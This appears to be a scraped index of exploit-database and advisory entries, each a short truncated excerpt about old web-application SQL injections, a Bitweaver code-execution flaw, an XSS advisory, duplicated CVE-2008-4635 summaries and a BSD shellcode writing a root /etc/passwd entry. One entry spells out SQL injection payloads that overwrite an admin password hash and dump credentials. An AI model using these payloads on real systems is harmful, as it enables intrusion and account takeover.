Bitweaver 2.6 - 'saveFeed()' Remote Code Execution

saveFeed $rssversionname, $cacheFile ; ... it calls saveFeed function in an insecure way, arguments are built on $REQUESTversion var and may contain directory traversal sequences... now look at saveFeed function in /rss/feedcreator.class.php ... function saveFeed$filename="", $displayContents=tru...

ST-Gallery 0.1a - Multiple SQL Injections

ST-Gallery 0.1a - Multiple SQL Injections || || || -----------------------------------------\ == -- ----------- ---------------------------- ------------------/ ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ¡PROUD TO BE SPANISH!...

Absolute Form Processor XE-V 1.5 - Remote Change Password

Absolute Form Processor XE-V 1.5 - Remote Change Password Absolute Form Processor XE-V 1.5 Remote Change Pasword Home:http://www.xigla.com E-mail : Username : Password :/b...

form2list - 'page.php?id' SQL Injection

! ! ! OOOO O OOOOOOOOO ! !O O O O O ! !O O O ! !O OOOO OOOO OOOOOO OOOO OOO OO O OOOO OO OO OOOO ! !O OOO OOO O O O O OO O O O O OO O O O ! !O OO OO O O OOOOOO O O O O O O OOOOOO ! !O O OOOO O O O O O O O O O O O ! ! OOOO OO OOOOOO OOOO OOOOOO OOOOOOOOO OOOO OOO OOO OOOO ! ! OO ! ! OO ! ! OO Prou...

Max.Blog 1.0.6 - show_post.php SQL Injection

Max.Blog 1.0.6 - showpost.php SQL Injection Salvatore "drosophila" Fresta Application: Max.Blog http://www.mzbservices.com Version: Max.Blog = 1.0.6 Bug: SQL Injection Exploitation: Remote Dork: intext:"Powered by Max.Blog" Date: 20 Jan 2009 Discovered by: Salvatore "drosophila" Fresta Author:...

BSD/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

BSD/x86 - Write to /etc/passwd with uid0 + gid0 Shellcode 74 bytes. Shellcode exploit for BSDx86 platform / writes the line for user in /etc/passwd with uid&gid == 0 OS: BSD length: 74 written by dev0id [email protected] rootteam.void.ru rus-sec /Efnet.org greetz: mig nerf BITS 32 main: xor eax,eax...

PHPAlumni - SQL Injection

PHPAlumni - SQL Injection Viva IslaM Viva IslaM Remote SQL InjEcti0n Vulnerability PHPAlumni Acomment.php id AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM & WwW.AtsDp.CoM Email : [email protected] SYRIAN Arab HACkErS -: Exploite :-...

HZHOST域名虚拟主机管理系统sql注射漏洞

是在线开通ftp.sql.web的一个管理系统。一套web程序。和IIS管理程序。实现在线开通. 存在文本框的注射。 HZHOST域名虚拟主机管理系统 暂无 123' UPDATE memlst SET upss='e10adc3949ba59abbe56e057f20f883e' WHERE unme='admin'-- 123' and select top 1 isnullcastunme as nvarchar4000,char32+char94+isnullcastUpss as nvarchar4000,char32 from select top 2unme,Upss fr...

Constructr CMS <= 3.02.5 Stable Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications =============================================================== Constructr CMS = 3.02.5 Stable Multiple Remote Vulnerabilities =============================================================== Constructr CMS http://constructr-cms.org/ - =...

PostEcards SQL Injection / Database Disclosure

-------------------------------AlpHaNiX---------------------------------- Found By : AlpHaNiX website : www.offensivetrack.org contact : AlpHaATHACKERDOTBZ script : PostEcards download : http://www.funscripts.net/oldcoldfusion/download.php?fname=postcards Exploits : --=SQL INJECTION=--...

Joomla! Component JMovies 1.1 - 'id' SQL Injection

!/usr/bin/perl -w ----------------------------------------------------------- Joomla Component comjmovies 1.1 id SQL Injection Exploit by s3rg3770 with athos : demo http://www.disneyrama.com ----------------------------------------------------------- Note: In lulz we trust :O...

Joomla! Component com_books - book_id SQL Injection

Joomla! Component combooks - bookid SQL Injection Joomla combooksbookid SQL injection Vulnerability Author : boom3rang Kosova Hackers Group www.khg-crew.ws Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1. ! ModuleName: combooks ! ScriptName: Joomla ! GoogleDork:...

SFS EZ Top Sites (topsite.php ts) Remote SQL Injection Vulnerability

No description provided by source. Kira has decide be back after halloween Discovered by : Mountassif Moad Type Gap : Sql injection Script : SFS EZ Top Sites Remote sql Injection Home Script : http://www.scripts-for-sites.info/item.php?item=112 Greetz : Allah , All my freind...

CVE-2008-4635

Unspecified vulnerability in Hisanaga Electric Co, Ltd. hisacart 1.29 and earlier, a module for XOOPS, allows remote attackers to obtain sensitive user information via unknown vectors...

Design/Logic Flaw

Unspecified vulnerability in Hisanaga Electric Co, Ltd. hisacart 1.29 and earlier, a module for XOOPS, allows remote attackers to obtain sensitive user information via unknown vectors...

CVE-2008-4635

Unspecified vulnerability in Hisanaga Electric Co, Ltd. hisacart 1.29 and earlier, a module for XOOPS, allows remote attackers to obtain sensitive user information via unknown vectors...

CVE-2008-4635

The CVE affects the XOOPS module hisa_cart (versions 1.29 and earlier) from Hisanaga Electric Co. Ltd. A vulnerability exists that allows remote attackers to disclose information of registered users. The JVN entry confirms an information-disclosure flaw with a remote-execution pathway implied by ...

JVN#53267766 MyNETS cross-site scripting vulnerability

MyNETS from Usagi Project is an open source SNS Social Networking Service software. MyNETS contains a cross-site scripting vulnerability. Impact If a user views a specially crafted web page, an arbitrary script may be executed on the user's web browser. As a result, user information may be...

WP Comment Remix 1.4.3 Remote SQL Injection Exploit

No description provided by source. ?php / WP Comment Remix 1.4.3 SQL Injection Proof of Concept By g30rg3x g30rg3xatchxsecuritydotorg Advisory: http://chxsecurity.org/advisories/adv-3-full.txt PoC Mirror: http://chxsecurity.org/proof-of-concepts/wp-comment-remix-143.zip Attention: This is a...

WP Comment Remix 1.4.3 Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================== WP Comment Remix 1.4.3 Remote SQL Injection Exploit =================================================== \n"; print "\n : Hostname or IP Address"; print "\n : Path to WordPress Defaults to...